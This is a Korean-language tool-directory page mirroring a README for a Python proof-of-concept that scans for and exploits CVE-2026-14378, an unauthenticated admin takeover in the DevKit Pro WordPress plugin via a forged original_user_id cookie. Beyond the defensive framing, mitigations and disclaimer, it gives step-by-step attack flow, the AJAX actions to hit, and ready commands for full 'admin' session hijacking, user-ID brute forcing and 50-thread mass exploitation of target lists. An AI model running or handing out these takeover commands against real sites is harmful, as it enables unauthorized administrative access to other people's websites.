Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-14378 — CVE-2026-14378에 대한 Python PoC 스캐너 및 익스플로잇 도우미로, DevKit Pro WordPress 플러그인에서 위조된 original_user_id 쿠키를 통한 인증되지 않은 관리자 세션 탈취 취약점입니다. | Kitploit
도구/GitHubGitHub/murrez/cve-2026-14378
Defensive ToolsReconnaissanceVulnerability ScannersVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringWeb SecurityPenetration TestingAuthentication
GitHub
1일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
murrez/cve-2026-14378

CVE-2026-14378

CVE-2026-14378에 대한 Python PoC 스캐너 및 익스플로잇 도우미로, DevKit Pro WordPress 플러그인에서 위조된 original_user_id 쿠키를 통한 인증되지 않은 관리자 세션 탈취 취약점입니다.

저장소 보기

CVE-2026-14378 — DevKit Pro 인증 우회 PoC

CVE-2026-14378에 대한 개념 증명(Proof-of-concept) 스캐너 및 익스플로잇 도우미: WordPress 플러그인 DevKit Pro(dplugins)의 결함 있는 사용자 전환 "되돌리기(revert)" 흐름을 통한 비인증 관리자 세션 탈취.

법적 고지: 본인이 소유하거나 명시적인 서면 허가를 받은 시스템에서만 사용하십시오. 무단 접근은 불법입니다. 이 저장소는 방어적 연구, 검증, 패치 검증을 위한 것입니다.


GitHub 저장소 설명 (복사-붙여넣기)

PoC for CVE-2026-14378: DevKit Pro ≤2.3.0 pre-auth admin takeover via forged original_user_id cookie + wp_footer revert_switch nonce. check/admin + mass scan.

추천 토픽: cve-2026-14378, wordpress, wordpress-exploit, devkit-pro, dplugins, authentication-bypass, poc, security-research


취약점 개요

CVECVE-2026-14378
제품DevKit Pro (공급업체: dplugins)
유형인증 우회 → 전체 관리자 세션 (CWE-287)
영향 범위모든 버전 ≤ 2.3.0
수정 버전3.0.0+ (변경 로그)
CVSS 3.19.8 Critical — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CNAWordfence

관련 권고 (동일 제품, 다른 버그)

CVE문제인증
CVE-2026-14357DPDEV_install_themes를 통한 임의 테마 ZIP 설치Subscriber+
CVE-2026-14378사용자 전환 되돌리기를 통한 세션 탈취없음

이 PoC는 14378만 대상으로 합니다.


근본 원인 (기술적)

DevKit Pro의 Users Manager는 테스트를 위해 사용자를 가장(impersonate)할 수 있습니다. 관리자가 다른 계정으로 전환하면, 플러그인은 이전 신원을 클라이언트 쿠키에 저장합니다:

  • original_user_id — 전환 전 계정의 사용자 ID

이 쿠키가 존재하면, 플러그인은 프론트 엔드의 **wp_footer**에 "되돌리기(switch back)" 컨트롤을 렌더링하며, 여기에는 되돌리기 작업에 바인딩된 WordPress nonce가 포함됩니다.

revert_switch 핸들러(AJAX)는 **verify_nonce_and_capability()**를 호출하는데, 이 함수는 실제 요청자(완전히 비인증일 수 있음)에 대해 **current_user_can()**을 사용하는 대신, **original_user_id**가 참조하는 사용자에 대해 **manage_options**를 잘못 평가합니다.

공격자는 다음을 수행할 수 있습니다:

  1. Cookie: original_user_id=<administrator_user_id> 설정 (일반적으로 1).
  2. 임의의 공개 페이지를 요청하고 푸터에서 되돌리기 폼 / nonce를 파싱.
  3. action=revert_switch(또는 플러그인별 별칭)와 유출된 nonce를 사용하여 wp-admin/admin-ajax.php에 POST.
  4. 위조된 사용자 ID에 대해 wp_set_auth_cookie() 트리거 → 인증된 관리자 세션.

공식 기능 문서: Users Manager — switch back.


공격 흐름

sequenceDiagram
    participant A as Attacker
    participant W as WordPress (front end)
    participant P as DevKit Pro
    participant X as admin-ajax.php

    A->>W: GET / (Cookie: original_user_id=1)
    W->>P: wp_footer hook
    P-->>W: switch-back HTML + nonce
    W-->>A: page body contains nonce
    A->>X: POST action=revert_switch + nonce
    Note over P,X: capability checked for user 1, not attacker
    X-->>A: Set-Cookie wordpress_logged_in_*
    A->>W: GET /wp-admin/
    W-->>A: admin dashboard

검사가 성공하는 경우 vs 실패하는 경우

check 명령은 의도적으로 엄격합니다: **original_user_id**를 위조한 후 되돌리기 nonce가 나타나는 경우에만 **취약함(vulnerable)**으로 보고합니다.

관찰 결과예상 의미
VULNERABLE — switch-back material leaked익스플로잇 경로가 작동할 가능성 높음; admin 실행 전에 랩 환경에서 확인하십시오.
not vulnerable (check): no switch-back nonce…패치된 DevKit(≥ 3.0.0), 플러그인 미설치, Users Manager 비활성화(기본값 꺼짐), 사용자 정의 플러그인 경로, 캐시/CDN이 푸터를 제거, 또는 잘못된 사이트.
DevKit Pro readme not confirmed공개 readme.txt 지문 없음; 플러그인이 존재하지만 숨겨져 있을 수 있음 — 오라클이 결정적 테스트로 남음.
DevKit Pro <= 2.3.0 suspected + 여전히 nonce 없음취약한 버전이 설치되어 있지만 전환 기능이 활성화되지 않았거나 테스트한 URL에서 푸터가 렌더링되지 않을 수 있음.

참고: /wp-content/plugins/.../readme.txt에 대한 HTTP 200 응답이 전체 HTML 페이지를 반환하는 것은 흔한 WordPress 소프트 404입니다. 이 PoC는 상태 코드만이 아니라 readme 내용(Plugin Name: 헤더)을 검증합니다.


요구 사항

  • Python 3.9+
  • requests
pip install requests

선택 사항: requirements.txt에 고정된 최소 버전이 포함되어 있습니다:

requests>=2.28.0

설치

git clone https://github.com/YOUR_USER/cve-2026-14378-poc.git
cd cve-2026-14378-poc
pip install -r requirements.txt   # or: pip install requests

사용법

단일 대상 — 탐지만 (안전)

탈취를 완료하지 않으며, 푸터 nonce 오라클만 테스트합니다.

python poc.py check https://target.example/
python poc.py check https://target.example/ --user-id 2
python poc.py check https://target.example/ --timeout 40

단일 대상 — 세션 탈취

전체 **revert_switch**를 시도하고 /wp-admin/ 접근을 검증합니다.

python poc.py admin https://target.example/
python poc.py admin https://target.example/ --user-id 1 --brute 5
python poc.py admin https://target.example/ --log successes.txt
플래그설명
--user-idoriginal_user_id에 위조할 관리자(또는 대상) 사용자 ID (기본값: 1)
--brute첫 번째 ID가 실패할 때 ID 1..N 시도
--timeoutHTTP 타임아웃(초) (기본값: 25)
--log성공한 admin URL을 파일에 추가 (기본값: logs.txt)

대량 스캔 (목록 파일)

한 줄에 URL 하나; # 주석과 공백 뒤의 추가 열은 무시됩니다.

# Detection only (recommended first pass)
python poc.py targets.txt

# Exploit attempts (authorized targets only)
python poc.py targets.txt admin

첫 번째 인수로 파일이 전달되지 않으면, 스크립트가 목록 경로를 묻습니다(레거시 대량 스캐너와 동일한 동작).

대량 모드는 스레드 풀(50 워커)을 사용합니다. 속도 제한에 걸리면 poc.py에서 조정하십시오.

목록 파일 예시

# FOFA / manual imports
https://staging.example.com
example.org
192.0.2.10|wordpress|1.2.3   # only first token is used

출력 예시

취약함 (check):

[*] https://vulnerable.example
[+] DevKit Pro <= 2.3.0 suspected (stable tag 2.3.0)
[+] VULNERABLE — switch-back material leaked (action=revert_switch, nonce=a1b2c3d4…)

취약하지 않음 (일반적인 대량 스캔):

[*] https://patched.example
[!] DevKit Pro readme not confirmed (hidden path, WAF, or plugin absent)
[-] not vulnerable (check): no switch-back nonce in wp_footer with forged original_user_id cookie — patched DevKit, Users Manager off, or wrong target

성공한 admin:

[*] https://lab.local
[+] https://lab.local -> administrator session as user_id=1
[+] cookie: wordpress_logged_in_…=…

구현 참고 사항

  • HTTP: 펜테스트 스타일 스캔을 위해 TLS 검증 비활성화(verify=False); 리다이렉트 추적; 오류 시 선택적 HTTP↔HTTPS 폴백.
  • 시도하는 AJAX 액션: revert_switch, DPDEV_revert_switch, dpdev_revert_switch, devkit_revert_switch (상용 플러그인; 정확한 훅 이름은 빌드에 따라 다를 수 있음).
  • 오라클 페이지: 위조된 쿠키를 사용한 /, /?p=1, /sample-page/, /index.php.
  • 성공 신호: wordpress_logged_in_* 쿠키 및/또는 /wp-admin/ 대시보드 마커.

DevKit Pro는 wordpress.org에서 배포되지 않습니다; 버전 지문 인식은 존재하는 경우 노출된 readme.txt에 의존합니다.


완화 조치

  1. DevKit Pro를 3.0.0 이상으로 업그레이드하십시오.
  2. 업그레이드가 지연되는 경우, 패치될 때까지 Users Manager / 사용자 전환을 비활성화하십시오(노출 감소; 공급업체 지침으로 확인하십시오).
  3. 위조된 쿠키를 사용한 의심스러운 admin-ajax.php revert_switch 활동에 대해 관리자 세션 및 감사 로그를 검토하십시오.

참고 자료

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-14378
  • Wordfence: https://www.wordfence.com/threat-intel/vulnerabilities/id/2ab3986a-69e0-442f-8e79-35b1bc5376d9
  • DevKit changelog: https://docs.dplugins.com/devkit/changelog
  • Users Manager docs: https://docs.dplugins.com/devkit/users-manager

면책 조항

저자와 기여자는 오용에 대해 어떠한 책임도 지지 않습니다. 이 소프트웨어를 사용함으로써 귀하는 관련 법률을 준수하고 적절한 권한을 획득하는 데 동의합니다. 방어자는 DevKit Pro **3.0.0+**로 업그레이드한 후 패치를 검증하기 위해 check 모드를 사용할 것을 권장합니다.


라이선스

MIT — 포함된 경우 LICENSE를 참조하십시오; 그렇지 않으면 저장소를 게시할 때 라이선스를 명시하십시오.

도구 다운로드